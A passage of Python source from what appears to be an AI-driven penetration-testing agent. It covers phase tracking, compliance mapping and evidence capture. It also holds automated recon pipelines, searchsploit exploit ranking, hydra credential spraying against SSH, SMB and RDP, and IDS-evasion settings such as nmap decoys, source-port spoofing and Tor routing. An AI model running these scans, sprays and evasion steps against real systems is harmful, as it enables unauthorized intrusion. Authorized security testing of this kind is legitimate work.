    },
}


# ═════════════════════════════════════════════════════════════════════════
# Progress Tracker
# ═════════════════════════════════════════════════════════════════════════

PENTEST_PHASES = [
    ("recon",          "Reconnaissance"),
    ("vuln_analysis",  "Vulnerability Analysis"),
    ("exploitation",   "Exploitation"),
    ("post_exploit",   "Post-Exploitation"),
    ("reporting",      "Reporting"),
]

class ProgressTracker:
    """Track pentest methodology progress across phases."""

    def __init__(self):
        self._phases = {pid: {
            "name": name,
            "status": "pending",       # pending, active, completed
            "started": None,
            "completed": None,
            "commands": 0,
            "findings": 0,
            "notes": "",
        } for pid, name in PENTEST_PHASES}
        self._lock = threading.Lock()

    def start_phase(self, phase_id):
        with self._lock:
            if phase_id not in self._phases:
                return f"Unknown phase: {phase_id}"
            # Mark previous active phases as completed
            for pid, info in self._phases.items():
                if info["status"] == "active" and pid != phase_id:
                    info["status"] = "completed"
                    info["completed"] = datetime.datetime.now().isoformat()
            self._phases[phase_id]["status"] = "active"
            self._phases[phase_id]["started"] = datetime.datetime.now().isoformat()
        return f"Phase '{self._phases[phase_id]['name']}' is now active."

    def complete_phase(self, phase_id):
        with self._lock:
            if phase_id not in self._phases:
                return f"Unknown phase: {phase_id}"
            self._phases[phase_id]["status"] = "completed"
            self._phases[phase_id]["completed"] = datetime.datetime.now().isoformat()
        return f"Phase '{self._phases[phase_id]['name']}' completed."

    def add_note(self, phase_id, note):
        with self._lock:
            if phase_id in self._phases:
                self._phases[phase_id]["notes"] = note

    def increment_commands(self, phase_id=None):
        with self._lock:
            target = phase_id
            if not target:
                # Find active phase
                for pid, info in self._phases.items():
                    if info["status"] == "active":
                        target = pid
                        break
            if target and target in self._phases:
                self._phases[target]["commands"] += 1

    def increment_findings(self, phase_id=None):
        with self._lock:
            target = phase_id
            if not target:
                for pid, info in self._phases.items():
                    if info["status"] == "active":
                        target = pid
                        break
            if target and target in self._phases:
                self._phases[target]["findings"] += 1

    def get_active_phase(self):
        with self._lock:
            for pid, info in self._phases.items():
                if info["status"] == "active":
                    return pid
        return None

    def display(self):
        """Return a visual progress bar string."""
        with self._lock:
            parts = []
            for pid, info in self._phases.items():
                if info["status"] == "completed":
                    parts.append(f"{GRN}[+] {info['name']}{R}")
                elif info["status"] == "active":
                    parts.append(f"{CYN}[>] {info['name']}{R}")
                else:
                    parts.append(f"{DIM}[ ] {info['name']}{R}")
            return "  " + "  -->  ".join(parts)

    def summary_for_prompt(self):
        with self._lock:
            lines = []
            for pid, info in self._phases.items():
                status_icon = {"completed": "+", "active": ">", "pending": " "}
                icon = status_icon.get(info["status"], " ")
                lines.append(
                    f"  [{icon}] {info['name']} — {info['status']} "
                    f"(cmds: {info['commands']}, findings: {info['findings']})"
                )
            return "\n".join(lines)

    def to_dict(self):
        with self._lock:
            return {pid: dict(info) for pid, info in self._phases.items()}


# ═════════════════════════════════════════════════════════════════════════
# OWASP / PTES / NIST Compliance Mapping
# ═════════════════════════════════════════════════════════════════════════

COMPLIANCE_MAP = {
    # category -> {framework: [control_ids]}
    "SQLi": {
        "OWASP": ["A03:2021 Injection"],
        "PTES": ["4.2.3 SQL Injection"],
        "NIST": ["SI-10 Information Input Validation"],
        "CWE": ["CWE-89"],
    },
    "XSS": {
        "OWASP": ["A03:2021 Injection", "A07:2021 XSS"],
        "PTES": ["4.2.4 Cross-Site Scripting"],
        "NIST": ["SI-10 Information Input Validation"],
        "CWE": ["CWE-79"],
    },
    "RCE": {
        "OWASP": ["A03:2021 Injection"],
        "PTES": ["4.2.1 Command Injection"],
        "NIST": ["SI-10 Information Input Validation", "SI-3 Malicious Code Protection"],
        "CWE": ["CWE-78", "CWE-94"],
    },
    "Auth": {
        "OWASP": ["A07:2021 Identification and Authentication Failures"],
        "PTES": ["4.1 Authentication Testing"],
        "NIST": ["IA-2 Identification and Authentication", "IA-5 Authenticator Management"],
        "CWE": ["CWE-287", "CWE-306"],
    },
    "IDOR": {
        "OWASP": ["A01:2021 Broken Access Control"],
        "PTES": ["4.1.3 Authorization Testing"],
        "NIST": ["AC-3 Access Enforcement"],
        "CWE": ["CWE-639"],
    },
    "Misconfig": {
        "OWASP": ["A05:2021 Security Misconfiguration"],
        "PTES": ["4.3 Configuration and Deploy Management"],
        "NIST": ["CM-6 Configuration Settings", "CM-7 Least Functionality"],
        "CWE": ["CWE-16"],
    },
    "Crypto": {
        "OWASP": ["A02:2021 Cryptographic Failures"],
        "PTES": ["4.4 Cryptography"],
        "NIST": ["SC-12 Cryptographic Key Management", "SC-13 Cryptographic Protection"],
        "CWE": ["CWE-327", "CWE-328"],
    },
    "SSRF": {
        "OWASP": ["A10:2021 Server-Side Request Forgery"],
        "PTES": ["4.2.8 SSRF"],
        "NIST": ["SI-10 Information Input Validation"],
        "CWE": ["CWE-918"],
    },
    "Deserialization": {
        "OWASP": ["A08:2021 Software and Data Integrity Failures"],
        "PTES": ["4.2.6 Deserialization"],
        "NIST": ["SI-10 Information Input Validation"],
        "CWE": ["CWE-502"],
    },
    "InfoDisclosure": {
        "OWASP": ["A01:2021 Broken Access Control"],
        "PTES": ["4.3.2 Information Leakage"],
        "NIST": ["AC-4 Information Flow Enforcement"],
        "CWE": ["CWE-200"],
    },
    "PrivEsc": {
        "OWASP": ["A01:2021 Broken Access Control"],
        "PTES": ["5.2 Privilege Escalation"],
        "NIST": ["AC-6 Least Privilege"],
        "CWE": ["CWE-269"],
    },
    "DefaultCreds": {
        "OWASP": ["A07:2021 Identification and Authentication Failures"],
        "PTES": ["4.1.1 Default Credentials"],
        "NIST": ["IA-5 Authenticator Management"],
        "CWE": ["CWE-798"],
    },
    "LFI": {
        "OWASP": ["A01:2021 Broken Access Control", "A03:2021 Injection"],
        "PTES": ["4.2.5 File Inclusion"],
        "NIST": ["AC-3 Access Enforcement"],
        "CWE": ["CWE-98"],
    },
    "BruteForce": {
        "OWASP": ["A07:2021 Identification and Authentication Failures"],
        "PTES": ["4.1.2 Brute Force"],
        "NIST": ["AC-7 Unsuccessful Logon Attempts"],
        "CWE": ["CWE-307"],
    },
}


def get_compliance_mapping(category):
    """Get compliance mapping for a finding category."""
    # Try exact match first, then partial match
    mapping = COMPLIANCE_MAP.get(category)
    if mapping:
        return mapping
    for key, val in COMPLIANCE_MAP.items():
        if key.lower() in category.lower() or category.lower() in key.lower():
            return val
    return {}


# ═════════════════════════════════════════════════════════════════════════
# Evidence Auto-Capture
# ═════════════════════════════════════════════════════════════════════════

class EvidenceCollector:
    """Auto-capture command outputs and findings as evidence files."""

    def __init__(self, session_id, base_dir="/tmp"):
        self.session_id = session_id
        self.evidence_dir = os.path.join(base_dir, f"evidence_{session_id}")
        self._evidence_log: list = []
        self._counter = 0
        self._lock = threading.Lock()

    def init_local(self):
        """Create the evidence directory locally."""
        os.makedirs(self.evidence_dir, exist_ok=True)

    def init_remote(self, executor):
        """Create the evidence directory on the attack box."""
        executor.execute(f"mkdir -p {shlex.quote(self.evidence_dir)}", timeout=5)

    def capture(self, executor, tool_name, command, output, exit_code):
        """Auto-save a command's output as evidence."""
        with self._lock:
            self._counter += 1
            idx = self._counter

        filename = f"{idx:04d}_{tool_name}_{datetime.datetime.now().strftime('%H%M%S')}.txt"
        filepath = os.path.join(self.evidence_dir, filename)

        content = (
            f"# Evidence #{idx}\n"
            f"# Tool: {tool_name}\n"
            f"# Command: {command}\n"
            f"# Exit Code: {exit_code}\n"
            f"# Timestamp: {datetime.datetime.now().isoformat()}\n"
            f"# {'=' * 60}\n\n"
            f"{output}\n"
        )

        try:
            # Write locally if possible
            if isinstance(executor, LocalExecutor):
                os.makedirs(self.evidence_dir, exist_ok=True)
                with open(filepath, "w", encoding="utf-8") as fh:
                    fh.write(content)
            else:
                # Write on remote attack box
                escaped = content.replace("'", "'\\''")
                executor.execute(
                    f"cat > {shlex.quote(filepath)} << 'EVIDENCE'\n{content}\nEVIDENCE",
                    timeout=10,
                )
        except Exception:
            pass  # evidence capture should never break the flow

        with self._lock:
            self._evidence_log.append({
                "index": idx,
                "file": filepath,
                "tool": tool_name,
                "command": command[:100],
                "timestamp": datetime.datetime.now().isoformat(),
            })

        return filepath

    def get_log(self):
        with self._lock:
            return list(self._evidence_log)

    def summary(self):
        with self._lock:
            return f"{self._counter} evidence files in {self.evidence_dir}"


# ═════════════════════════════════════════════════════════════════════════
# Stealth Mode
# ═════════════════════════════════════════════════════════════════════════

class StealthController:
    """Rate limiting and IDS evasion controls."""

    def __init__(self, enabled=False, delay=2.0, jitter=1.0):
        self.enabled = enabled
        self.delay = delay            # base delay between commands (seconds)
        self.jitter = jitter          # random jitter added (0 to jitter seconds)
        self._last_command_time = 0
        self._lock = threading.Lock()

    # Nmap flags for stealth scanning
    STEALTH_NMAP_FLAGS = {
        "timing":    "-T2",                           # slower timing
        "scan_type": "-sS",                           # SYN scan (half-open)
        "fragment":  "-f",                             # fragment packets
        "decoy":     "-D RND:5",                       # random decoys
        "mtu":       "--mtu 24",                       # custom MTU
        "source":    "--source-port 53",               # spoof source port
        "data_len":  "--data-length 40",               # pad packets
    }

    # Tool-specific stealth alternatives
    STEALTH_ALTERNATIVES = {
        "nmap":       "nmap -sS -T2 -f --data-length 40",
        "ffuf":       "ffuf -rate 10 -t 2",
        "gobuster":   "gobuster dir -t 2 --delay 1s",
        "nikto":      "nikto -Tuning 1 -Pause 2",
        "sqlmap":     "sqlmap --delay=2 --random-agent --tamper=space2comment",
        "hydra":      "hydra -t 2 -W 3",
        "nuclei":     "nuclei -rl 10 -c 2",
        "dirsearch":  "dirsearch -t 2 --delay 1",
        "feroxbuster":"feroxbuster -t 2 --rate-limit 10",
    }

    def wait(self):
        """Apply rate limiting delay if stealth mode is active."""
        if not self.enabled:
            return
        import random
        with self._lock:
            elapsed = time.time() - self._last_command_time
            target_delay = self.delay + random.uniform(0, self.jitter)
            if elapsed < target_delay:
                time.sleep(target_delay - elapsed)
            self._last_command_time = time.time()

    def apply_stealth(self, command):
        """Modify a command to use stealth options if applicable."""
        if not self.enabled:
            return command
        # Check if the command starts with a known tool
        for tool, stealth_cmd in self.STEALTH_ALTERNATIVES.items():
            if command.strip().startswith(tool + " "):
                # Replace the base tool call with stealth version
                remainder = command.strip()[len(tool):].strip()
                return f"{stealth_cmd} {remainder}"
        return command

    def get_stealth_tips(self):
        """Return stealth technique recommendations."""
        return {
            "nmap": "Use -sS -T2 -f --data-length 40 for stealth SYN scans",
            "dns": "Use DNS-over-HTTPS or passive DNS for subdomain enum",
            "web": "Use --random-agent and --delay flags on web scanners",
            "proxy": "Route traffic through proxychains + Tor for anonymity",
            "timing": f"Current delay: {self.delay}s + {self.jitter}s jitter",
            "general": "Avoid broad port scans; target specific ports first",
        }

    def summary_for_prompt(self):
        if not self.enabled:
            return "  Stealth mode: OFF (full speed)"
        return (
            f"  Stealth mode: ON (delay: {self.delay}s, jitter: {self.jitter}s)\n"
            f"  Commands are rate-limited and stealth flags are auto-applied.\n"
            f"  Use slower, targeted scans. Avoid noisy broad sweeps."
        )


# ═════════════════════════════════════════════════════════════════════════
# Autonomous Recon Pipeline
# ═════════════════════════════════════════════════════════════════════════

class ReconPipeline:
    """Auto-chain reconnaissance tools in sequence."""

    PIPELINES = {
        "full": [
            ("nmap", "nmap -sV -sC -O -p- {target} -oN /tmp/recon_nmap.txt"),
            ("whatweb", "whatweb -v {target} 2>/dev/null || true"),
            ("wafw00f", "wafw00f {target} 2>/dev/null || true"),
            ("nikto", "nikto -h {target} -Tuning 1 -o /tmp/recon_nikto.txt 2>/dev/null || true"),
            ("ffuf", "ffuf -u {target}/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 10 -o /tmp/recon_ffuf.json -of json 2>/dev/null || true"),
            ("nuclei", "nuclei -u {target} -severity critical,high -silent -nc -o /tmp/recon_nuclei.txt 2>/dev/null || true"),
        ],
        "quick": [
            ("nmap", "nmap -sV -sC --top-ports 1000 {target} -oN /tmp/recon_nmap.txt"),
            ("whatweb", "whatweb {target} 2>/dev/null || true"),
            ("ffuf", "ffuf -u {target}/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 10 -o /tmp/recon_ffuf.json -of json 2>/dev/null || true"),
        ],
        "subdomain": [
            ("subfinder", "subfinder -d {target} -silent -o /tmp/recon_subdomains.txt 2>/dev/null || true"),
            ("httpx", "cat /tmp/recon_subdomains.txt | httpx -silent -status-code -title -o /tmp/recon_httpx.txt 2>/dev/null || true"),
        ],
        "stealth": [
            ("nmap", "nmap -sS -T2 -f --data-length 40 -p 21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080,8443 {target} -oN /tmp/recon_nmap.txt"),
            ("whatweb", "whatweb --user-agent 'Mozilla/5.0' {target} 2>/dev/null || true"),
        ],
    }

    def __init__(self, executor, stealth_ctrl=None):
        self.executor = executor
        self.stealth = stealth_ctrl
        self._results: dict = {}
        self._lock = threading.Lock()

    def run(self, target, pipeline_type="full", evidence_collector=None):
        """Execute a recon pipeline and return aggregated results."""
        pipeline = self.PIPELINES.get(pipeline_type)
        if not pipeline:
            return f"Unknown pipeline: '{pipeline_type}'. Available: {', '.join(self.PIPELINES.keys())}"

        results = []
        for tool_name, cmd_template in pipeline:
            cmd = cmd_template.replace("{target}", shlex.quote(target).strip("'"))

            # Apply stealth if enabled
            if self.stealth and self.stealth.enabled:
                cmd = self.stealth.apply_stealth(cmd)
                self.stealth.wait()

            print(f"  {MAG}{B}[RECON]{R}  {tool_name}: {DIM}{cmd[:70]}...{R}")

            start = time.time()
            exit_code, stdout, stderr = self.executor.execute(cmd, timeout=600)
            elapsed = time.time() - start

            output = stdout
            if stderr and exit_code != 0:
                output += f"\n[STDERR] {stderr[:200]}"
            output = truncate_output(output)

            step_result = {
                "tool": tool_name,
                "command": cmd,
                "exit_code": exit_code,
                "output": output,
                "elapsed": elapsed,
            }
            results.append(step_result)

            # Evidence capture
            if evidence_collector:
                evidence_collector.capture(
                    self.executor, f"recon_{tool_name}", cmd, output, exit_code,
                )

            status = f"{GRN}OK{R}" if exit_code == 0 else f"{RED}exit {exit_code}{R}"
            lines = output.strip().split("\n")
            for line in lines[:8]:
                print(f"    {DIM}{line}{R}")
            if len(lines) > 8:
                print(f"    {DIM}... ({len(lines) - 8} more lines){R}")
            print(f"    {DIM}[{status} in {elapsed:.1f}s]{R}\n")

        with self._lock:
            self._results[pipeline_type] = results

        # Build summary
        summary_lines = [f"Recon pipeline '{pipeline_type}' complete ({len(results)} tools):"]
        for r in results:
            out_lines = len(r["output"].strip().split("\n"))
            summary_lines.append(
                f"  [{r['tool']}] exit:{r['exit_code']} "
                f"({out_lines} lines, {r['elapsed']:.1f}s)"
            )
        summary_lines.append("\n--- AGGREGATED RECON OUTPUT ---\n")
        for r in results:
            summary_lines.append(f"=== {r['tool'].upper()} ===")
            summary_lines.append(r["output"][:3000])
            summary_lines.append("")

        return truncate_output("\n".join(summary_lines))


# ═════════════════════════════════════════════════════════════════════════
# Smart Exploit Selection
# ═════════════════════════════════════════════════════════════════════════

class SmartExploitSelector:
    """Auto-search, rank, and recommend exploits for discovered services."""

    # Service version patterns to extract from nmap output
    SERVICE_PATTERN = re.compile(
        r"(\d+)/tcp\s+open\s+(\S+)\s+(.*?)$", re.MULTILINE
    )

    # Exploit reliability rankings
    EXPLOIT_PRIORITY = {
        "metasploit": 5,
        "remote": 4,
        "webapps": 3,
        "local": 2,
        "dos": 1,
    }

    def __init__(self, executor):
        self.executor = executor
        self._discovered_services: list = []
        self._exploit_results: dict = {}
        self._lock = threading.Lock()

    def parse_nmap_output(self, nmap_output):
        """Extract services and versions from nmap output."""
        services = []
        for match in self.SERVICE_PATTERN.finditer(nmap_output):
            port, service, version = match.groups()
            services.append({
                "port": port,
                "service": service,
                "version": version.strip(),
                "search_query": version.strip(),
            })
        with self._lock:
            self._discovered_services = services
        return services

    def search_all(self):
        """Search ExploitDB for all discovered services."""
        results = {}
        for svc in self._discovered_services:
            if not svc["version"] or len(svc["version"]) < 3:
                continue
            query = svc["version"]
            exit_code, stdout, _ = self.executor.execute(
                f"searchsploit {shlex.quote(query)} 2>/dev/null",
                timeout=15,
            )
            if exit_code == 0 and stdout.strip():
                exploits = self._parse_searchsploit(stdout)
                if exploits:
                    key = f"{svc['port']}/{svc['service']}"
                    results[key] = {
                        "version": svc["version"],
                        "exploits": exploits,
                    }

        with self._lock:
            self._exploit_results = results
        return results

    def _parse_searchsploit(self, output):
        """Parse searchsploit output into ranked exploit list."""
        exploits = []
        for line in output.strip().split("\n"):
            line = line.strip()
            if not line or line.startswith("-") or line.startswith("Exploit"):
                continue
            # searchsploit output: Title | Path
            parts = line.rsplit("|", 1)
            if len(parts) == 2:
                title = parts[0].strip()
                path = parts[1].strip()
                # Determine type and priority
                priority = 1
                exploit_type = "unknown"
                for etype, prio in self.EXPLOIT_PRIORITY.items():
                    if etype in path.lower() or etype in title.lower():
                        priority = prio
                        exploit_type = etype
                        break
                exploits.append({
                    "title": title,
                    "path": path,
                    "type": exploit_type,
                    "priority": priority,
                })
        # Sort by priority descending
        exploits.sort(key=lambda x: x["priority"], reverse=True)
        return exploits

    def get_recommendations(self):
        """Get top exploit recommendations across all services."""
        recs = []
        with self._lock:
            for svc_key, data in self._exploit_results.items():
                for exp in data["exploits"][:3]:  # top 3 per service
                    recs.append({
                        "service": svc_key,
                        "version": data["version"],
                        "exploit": exp["title"],
                        "type": exp["type"],
                        "path": exp["path"],
                        "priority": exp["priority"],
                    })
        recs.sort(key=lambda x: x["priority"], reverse=True)
        return recs

    def summary(self):
        with self._lock:
            total = sum(
                len(d["exploits"]) for d in self._exploit_results.values()
            )
            return (
                f"{len(self._discovered_services)} services discovered, "
                f"{total} exploits found across "
                f"{len(self._exploit_results)} services"
            )


# ═════════════════════════════════════════════════════════════════════════
# Credential Spray Engine
# ═════════════════════════════════════════════════════════════════════════

class CredentialSprayEngine:
    """Auto-try vault credentials against discovered services."""

    # Service-to-hydra module mapping
    SERVICE_MODULES = {
        "ssh":    "ssh",
        "ftp":    "ftp",
        "http":   "http-get",
        "https":  "https-get",
        "smb":    "smb",
        "rdp":    "rdp",
        "mysql":  "mysql",
        "mssql":  "mssql",
        "postgres":"postgres",
        "telnet": "telnet",
        "vnc":    "vnc",
        "smtp":   "smtp",
        "pop3":   "pop3",
        "imap":   "imap",
        "ldap":   "ldap",
    }

    def __init__(self, executor, credential_vault):
        self.executor = executor
        self.vault = credential_vault
        self._results: list = []
        self._lock = threading.Lock()

    def spray(self, target, services, stealth_ctrl=None):
        """
        Try all vault credentials against discovered services.
        services: list of {"port": "22", "service": "ssh"} dicts
        """
        creds = self.vault.list_all()
        if not creds:
            return "No credentials in vault to spray."

        password_creds = [c for c in creds if c["type"] == "password"]
        if not password_creds:
            return "No password-type credentials in vault."

        results = []
        for svc in services:
            svc_name = svc.get("service", "").lower()
            port = svc.get("port", "")
            module = self.SERVICE_MODULES.get(svc_name)

            if not module:
                continue

            for cred in password_creds:
                if stealth_ctrl and stealth_ctrl.enabled:
                    stealth_ctrl.wait()

                user = shlex.quote(cred["username"])
                passwd = shlex.quote(cred["secret"])
                cmd = (
                    f"hydra -l {user} -p {passwd} -s {port} "
                    f"{shlex.quote(target)} {module} -t 1 -f 2>/dev/null"
                )

                print(
                    f"  {YEL}[SPRAY]{R}  "
                    f"{cred['username']}@{svc_name}:{port} ...",
                    end="", flush=True,
                )

                exit_code, stdout, _ = self.executor.execute(cmd, timeout=30)

                success = "successfully completed" in stdout.lower() or \
                          "valid password" in stdout.lower() or \
                          "[" + port + "]" in stdout

                if success:
                    print(f" {GRN}{B}SUCCESS{R}")
                    result = {
                        "service": svc_name,
                        "port": port,
                        "username": cred["username"],
                        "status": "success",
                        "source_cred_id": cred["id"],
                    }
                    results.append(result)
                    self.vault.mark_used(cred["id"])
                else:
                    print(f" {DIM}failed{R}")
                    results.append({
                        "service": svc_name,
                        "port": port,
                        "username": cred["username"],
                        "status": "failed",
                    })

        with self._lock:
            self._results.extend(results)

        successes = [r for r in results if r["status"] == "success"]
        summary_lines = [
            f"Credential spray complete: {len(results)} attempts, "
            f"{len(successes)} successful."
        ]
        for s in successes:
            summary_lines.append(
                f"  [+] {s['username']} -> {s['service']}:{s['port']} SUCCESS"
            )
        return "\n".join(summary_lines)

    def get_successes(self):
        with self._lock:
            return [r for r in self._results if r["status"] == "success"]


# ═════════════════════════════════════════════════════════════════════════
# Attack Graph / Kill Chain Tracker
# ═════════════════════════════════════════════════════════════════════════

KILL_CHAIN_STAGES = [
    ("initial_access",  "Initial Access"),
    ("execution",       "Execution"),
    ("persistence",     "Persistence"),
    ("priv_escalation", "Privilege Escalation"),
    ("defense_evasion", "Defense Evasion"),
    ("cred_access",     "Credential Access"),
    ("discovery",       "Discovery"),
    ("lateral_movement","Lateral Movement"),
    ("collection",      "Collection"),
    ("exfiltration",    "Exfiltration"),
    ("impact",          "Impact"),
]

class AttackGraph:
    """Track the attack path as a kill chain / attack graph."""

    def __init__(self):
        self._nodes: list = []   # ordered list of attack steps
        self._lock = threading.Lock()

    def add_node(self, stage, technique, description,
                 source_host="", target_host="", evidence=""):
        """Add an attack step to the graph."""
        node = {
            "id": str(uuid.uuid4())[:8],
            "stage": stage,
            "stage_name": dict(KILL_CHAIN_STAGES).get(stage, stage),
            "technique": technique,
            "description": description,
            "source_host": source_host,
            "target_host": target_host,
            "evidence": evidence[:500],
            "timestamp": datetime.datetime.now().isoformat(),
            "order": 0,
        }
        with self._lock:
            node["order"] = len(self._nodes)
            self._nodes.append(node)
        return node

    def get_path(self):
        """Return the full attack path in order."""
        with self._lock:
            return list(self._nodes)

    def get_by_stage(self, stage):
        with self._lock:
            return [n for n in self._nodes if n["stage"] == stage]

    def display(self):
        """Return a visual attack path string."""
        with self._lock:
            if not self._nodes:
                return "  No attack steps recorded yet."

            lines = []
            prev_stage = None
            for node in self._nodes:
                if node["stage"] != prev_stage:
                    lines.append(
                        f"\n  {CYN}{B}[{node['stage_name']}]{R}"
                    )
                    prev_stage = node["stage"]

                arrow = f"{node['source_host']} -> {node['target_host']}" \
                    if node["source_host"] and node["target_host"] else ""
                lines.append(
                    f"    {GRN}+{R} {node['technique']} "
                    f"{DIM}{arrow}{R}"
                )
                if node["description"]:
                    lines.append(f"      {DIM}{node['description'][:70]}{R}")
            return "\n".join(lines)

    def summary_for_prompt(self):
        with self._lock:
            if not self._nodes:
                return "  No attack steps recorded."
            stages_hit = set(n["stage"] for n in self._nodes)
            lines = [f"  Attack path: {len(self._nodes)} steps across {len(stages_hit)} stages"]
            for node in self._nodes[-5:]:
                lines.append(
                    f"  [{node['stage_name']}] {node['technique']}: "
                    f"{node['description'][:50]}"
                )
            if len(self._nodes) > 5:
                lines.insert(1, f"  ... ({len(self._nodes) - 5} earlier steps)")
            return "\n".join(lines)

    def to_list(self):
        with self._lock:
            return [dict(n) for n in self._nodes]


# ═════════════════════════════════════════════════════════════════════════
# Pentest Task Tree (PTT) — externalized plan to combat context loss
# ═════════════════════════════════════════════════════════════════════════

TASK_STATUSES = ("todo", "in_progress", "done", "blocked", "skipped")
_TASK_ICON = {"todo": " ", "in_progress": ">", "done": "+",
              "blocked": "!", "skipped": "~"}


class TaskTree:
    """Hierarchical, persistent task tree the agent reasons over each turn.

    Inspired by PentestGPT's Pentesting Task Tree: the plan lives in a compact
    structure that is re-injected into the system prompt every turn, so it
    survives conversation-history trimming and keeps the agent oriented across a
    long engagement. Thread-safe (subagents may touch it concurrently)."""

    def __init__(self):
        self._nodes: dict = {}     # id -> node dict
        self._order: list = []     # ids, in insertion order
        self._lock = threading.Lock()

    def _new_id(self):
        return str(uuid.uuid4())[:8]

    def add(self, title, parent_id=None, status="todo", priority="", note=""):
        title = (title or "").strip()
        if not title:
            return None, "Task title is required."
        status = status if status in TASK_STATUSES else "todo"
        with self._lock:
            if parent_id and parent_id not in self._nodes:
                return None, f"Unknown parent task: {parent_id}"
            tid = self._new_id()
            now = datetime.datetime.now().isoformat()
            self._nodes[tid] = {
                "id": tid, "title": title, "status": status,
                "parent": parent_id or None, "priority": priority or "",
                "note": note or "", "created": now, "updated": now,
                "order": len(self._order),
            }
            self._order.append(tid)
        return tid, f"Added task {tid}: {title}"

    def add_many(self, titles, parent_id=None):
        ids = []
        for t in titles:
            tid, _ = self.add(t, parent_id=parent_id)
            if tid:
                ids.append(tid)
        suffix = f" under {parent_id}" if parent_id else ""
        return ids, f"Added {len(ids)} task(s){suffix}."

    def update(self, task_id, status=None, title=None, note=None, priority=None):
        with self._lock:
            node = self._nodes.get(task_id)
            if not node:
                return f"Unknown task: {task_id}"
            if status is not None:
                if status not in TASK_STATUSES:
                    return (f"Invalid status '{status}'. "
                            f"Use one of: {', '.join(TASK_STATUSES)}")
                node["status"] = status
            if title is not None and title.strip():
                node["title"] = title.strip()
            if note is not None:
                node["note"] = note
            if priority is not None:
                node["priority"] = priority
            node["updated"] = datetime.datetime.now().isoformat()
            return f"Updated task {task_id} -> status={node['status']}"

    def counts(self):
        with self._lock:
            c = {s: 0 for s in TASK_STATUSES}
            for n in self._nodes.values():
                c[n["status"]] = c.get(n["status"], 0) + 1
            return c

    # ── rendering (callers must hold the lock) ──────────────────────────
    def _children(self, parent_id):
        return [self._nodes[i] for i in self._order
                if self._nodes[i]["parent"] == parent_id]

    def _render(self, plain):
        lines = []

        def walk(parent_id, depth):
            for node in self._children(parent_id):
                icon = _TASK_ICON.get(node["status"], " ")
                indent = "  " * (depth + 1)
                pri = f" ({node['priority']})" if node["priority"] else ""
                if plain:
                    lines.append(f"{indent}[{icon}] {node['id']} "
                                 f"{node['title']}{pri} — {node['status']}")
                else:
                    color = {"done": GRN, "in_progress": CYN, "blocked": RED,
                             "skipped": DIM}.get(node["status"], WHT)
                    lines.append(f"{indent}{color}[{icon}]{R} "
                                 f"{DIM}{node['id']}{R} {node['title']}{pri}")
                walk(node["id"], depth + 1)

        walk(None, 0)
        return lines

    def display(self):
        with self._lock:
            if not self._nodes:
                return "  No tasks planned yet."
            return "\n".join(self._render(plain=False))

    def summary_for_prompt(self, max_lines=40):
        with self._lock:
            if not self._nodes:
                return ("  (empty) — decompose the OBJECTIVE into a task tree "
                        "now with manage_tasks(action='add_many').")
            c = {s: 0 for s in TASK_STATUSES}
            for n in self._nodes.values():
                c[n["status"]] = c.get(n["status"], 0) + 1
            header = (f"  progress: {c['done']} done / {c['in_progress']} in-progress "
                      f"/ {c['todo']} todo / {c['blocked']} blocked "
                      f"/ {c['skipped']} skipped")
            lines = self._render(plain=True)
            if len(lines) > max_lines:
                lines = lines[:max_lines] + [
                    f"  ... ({len(lines) - max_lines} more tasks; use /tasks to see all)"]
            return header + "\n" + "\n".join(lines)

    def to_list(self):
        with self._lock:
            return [dict(self._nodes[i]) for i in self._order]

    def from_list(self, items):
        with self._lock:
            self._nodes, self._order = {}, []
            for it in items:
                tid = it.get("id") or self._new_id()
                self._nodes[tid] = {
                    "id": tid,
                    "title": it.get("title", ""),
                    "status": it.get("status", "todo"),
                    "parent": it.get("parent"),
                    "priority": it.get("priority", ""),
                    "note": it.get("note", ""),
                    "created": it.get("created", datetime.datetime.now().isoformat()),
                    "updated": it.get("updated", datetime.datetime.now().isoformat()),
                    "order": it.get("order", len(self._order)),
                }
                self._order.append(tid)
            self._order.sort(key=lambda i: self._nodes[i]["order"])


# ═════════════════════════════════════════════════════════════════════════
# Vulnerability Validation Pipeline  (RAPTOR-inspired)
# ═════════════════════════════════════════════════════════════════════════

class VulnValidator:
    """Multi-stage vulnerability validation pipeline.
    Inspired by RAPTOR's 6-stage approach: inventory → analysis → sanity
    → ruling → feasibility → review.  Reduces false positives before the
    LLM spends tokens on deep exploitation analysis."""

    STAGES = [
        "inventory",       # raw finding ingested
        "analysis",        # initial triage — is it real?
        "sanity_check",    # duplicate? already known? in scope?
        "ruling",          # severity classification
        "feasibility",     # can it actually be exploited in this context?
        "validated",       # confirmed finding ready for reporting
    ]

    def __init__(self):
        self._pipeline: list = []   # list of dicts tracking each finding through stages
        self._lock = threading.Lock()

    def ingest(self, title, raw_output, tool_name, target_host="",
               port="", service="", cve=""):
        """Stage 1 — Inventory: ingest a raw potential finding."""
        entry = {
            "id": str(uuid.uuid4())[:8],
            "title": title,
            "raw_output": raw_output[:3000],
            "tool": tool_name,
            "target_host": target_host,
            "port": port,
            "service": service,
            "cve": cve,
            "stage": "inventory",
            "severity": "UNKNOWN",
            "confidence": 0.0,
            "validation_notes": [],
            "timestamp": datetime.datetime.now().isoformat(),
        }
        with self._lock:
            self._pipeline.append(entry)
        return entry

    def advance(self, finding_id, new_stage, confidence=None, severity=None,
                notes=""):
        """Advance a finding to the next pipeline stage."""
        with self._lock:
            for entry in self._pipeline:
                if entry["id"] == finding_id:
                    if new_stage in self.STAGES:
                        entry["stage"] = new_stage
                    if confidence is not None:
                        entry["confidence"] = min(1.0, max(0.0, confidence))
                    if severity:
                        entry["severity"] = severity.upper()
                    if notes:
                        entry["validation_notes"].append(
                            f"[{new_stage}] {notes}"
                        )
                    return entry
        return None

    def reject(self, finding_id, reason=""):
        """Reject a finding as false positive at any stage."""
        with self._lock:
            for entry in self._pipeline:
                if entry["id"] == finding_id:
                    entry["stage"] = "rejected"
                    entry["validation_notes"].append(
                        f"[REJECTED] {reason}"
                    )
                    return entry
        return None

    def get_validated(self):
        """Return all findings that passed through to 'validated' stage."""
        with self._lock:
            return [e for e in self._pipeline if e["stage"] == "validated"]

    def get_pending(self):
        """Return findings still in the pipeline (not validated or rejected)."""
        with self._lock:
            return [e for e in self._pipeline
                    if e["stage"] not in ("validated", "rejected")]

    def get_by_stage(self, stage):
        with self._lock:
            return [e for e in self._pipeline if e["stage"] == stage]

    def get_stats(self):
